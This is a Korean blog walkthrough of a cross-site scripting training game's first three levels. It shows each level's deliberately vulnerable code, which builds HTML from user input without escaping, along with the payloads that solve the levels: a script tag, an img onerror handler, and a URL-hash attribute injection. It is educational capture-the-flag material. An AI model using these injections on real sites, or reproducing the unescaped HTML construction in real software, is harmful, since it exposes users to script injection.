[2025-09-03] XSS game
๐ฆฅ ๋ณธ๋ฌธ
1
page_header = """
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level1">
<img src="/static/logos/level1.png">
<div>
"""
page_footer = """
</div>
</body>
</html>
"""
main_page_markup = """
<form action="" method="GET">
<input id="query" name="query" value="Enter query here..."
onfocus="this.value=''">
<input id="button" type="submit" value="Search">
</form>
"""
class MainPage(webapp.RequestHandler):
def render_string(self, s):
self.response.out.write(s)
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('query'):
# Show main search page
self.render_string(page_header + main_page_markup + page_footer)
else:
query = self.request.get('query', '[empty]')
# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."
message += " <a href='?'>Try again</a>."
# Display the results page
self.render_string(page_header + message + page_footer)
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
ํด๋น ์ฝ๋์์๋ ์
๋ ฅํ ๊ฐ์ ๊ทธ๋๋ก ํ์ด์ง๋ก ์ถ๋ ฅํ๋ค. ๊ทธ๋ ๊ธฐ ๋๋ฌธ์ ์คํฌ๋ฆฝํธ๋ฌธ์ ๊ทธ๋๋ก ์
๋ ฅํ๋ ๊ฒ์ด ์ ๋ต์ด๋ค.

2
- index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- This is our database of messages -->
<script src="/static/post-store.js"></script>
<script>
var defaultMessage = "Welcome!<br><br>This is your <i>personal</i>"
+ " stream. You can post anything you want here, especially "
+ "<span style='color: #f00ba7'>madness</span>.";
var DB = new PostDB(defaultMessage);
function displayPosts() {
var containerEl = document.getElementById("post-container");
containerEl.innerHTML = "";
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>';
html += "<blockquote>" + posts[i].message + "</blockquote";
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
}
window.onload = function() {
document.getElementById('clear-form').onsubmit = function() {
DB.clear(function() { displayPosts() });
return false;
}
document.getElementById('post-form').onsubmit = function() {
var message = document.getElementById('post-content').value;
DB.save(message, function() { displayPosts() } );
document.getElementById('post-content').value = "";
return false;
}
displayPosts();
}
</script>
</head>
<body id="level2">
<div id="header">
<img src="/static/logos/level2.png" />
<div>Chatter from across the Web.</div>
<form action="?" id="clear-form">
<input class="clear" type="submit" value="Clear all posts">
</form>
</div>
<div id="post-container"></div>
<table class="message">
<tr>
<td valign="top">
<img src="/static/level2_icon.png">
</td>
<td class="message-container">
<div class="shim"></div>
<form action="?" id="post-form">
<textarea id="post-content" name="content" rows="2"
cols="50"></textarea>
<input class="share" type="submit" value="Share status!">
<input type="hidden" name="action" value="sign">
</form>
</td>
</tr>
</table>
</body>
</html>
- post.py
function Post(message) {
this.message = message;
this.date = (new Date()).getTime();
}
function PostDB(defaultMessage) {
// Initial message to display to users
this._defaultMessage = defaultMessage || "";
this.setup = function() {
var defaultPost = new Post(defaultMessage);
window.localStorage["postDB"] = JSON.stringify({
"posts" : [defaultPost]
});
}
this.save = function(message, callback) {
var newPost = new Post(message);
var allPosts = this.getPosts();
allPosts.push(newPost);
window.localStorage["postDB"] = JSON.stringify({
"posts" : allPosts
});
callback();
return false;
}
this.clear = function(callback) {
this.setup();
callback();
return false;
}
this.getPosts = function() {
return JSON.parse(window.localStorage["postDB"]).posts;
}
if(!window.localStorage["postDB"]) {
this.setup();
}
}
์์์ ๋์ ์ผ๋ก containerEL์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์
ํ๊ณ DOM ๊ตฌ์กฐ๊ฐ ์์ฑ๋๋ค. ์ด ๊ฐ์ ๊ฒฝ์ฐ <sciprt> ๊ตฌ๋ฌธ์ ์คํ๋์ง ์์ง๋ง <img onerror=..> ๋ ์คํ๋๋ฏ๋ก ๋ค์๊ณผ ๊ฐ์ด ํด๊ฒฐํ๋ค.
<img src ="1" onerror="alert()" />

3
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- Load jQuery -->
<script
src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
</script>
<script>
function chooseTab(num) {
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
window.onload = function() {
chooseTab(unescape(self.location.hash.substr(1)) || "1");
}
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(unescape(self.location.hash.substr(1)));
}
}, false);
</script>
</head>
<body id="level3">
<div id="header">
<img id="logo" src="/static/logos/level3.png">
<span>Take a tour of our cloud data center.</a>
</div>
<div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>
<div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>
<div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>
<div id="tabContent"> </div>
</body>
</html>
ํด๋น ์ฝ๋๋ ํด์(ํ๋๊ทธ๋จผํธ)์ ํตํด ํด๋น ์ด๋ฏธ์ง๋ฅผ ๋ณด๋ธ๋ค.
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
์ด ๋ ํด์ ๊ฐ ๋ค์ ์๋ ๋ฐ์ดํฐ๋ฅผ <img> ํ๊ทธ์ ๊ทธ๋๋ก ์ฌ์ฉํ๋ค. ๊ทธ๋ฌ๋ฏ๋ก <img onerror =โฆ>๋ฅผ ์ฌ์ฉํ์ฌ XSS๋ฅผ ํ ์ ์๋ค.
'onerror="alert()"

Leave a comment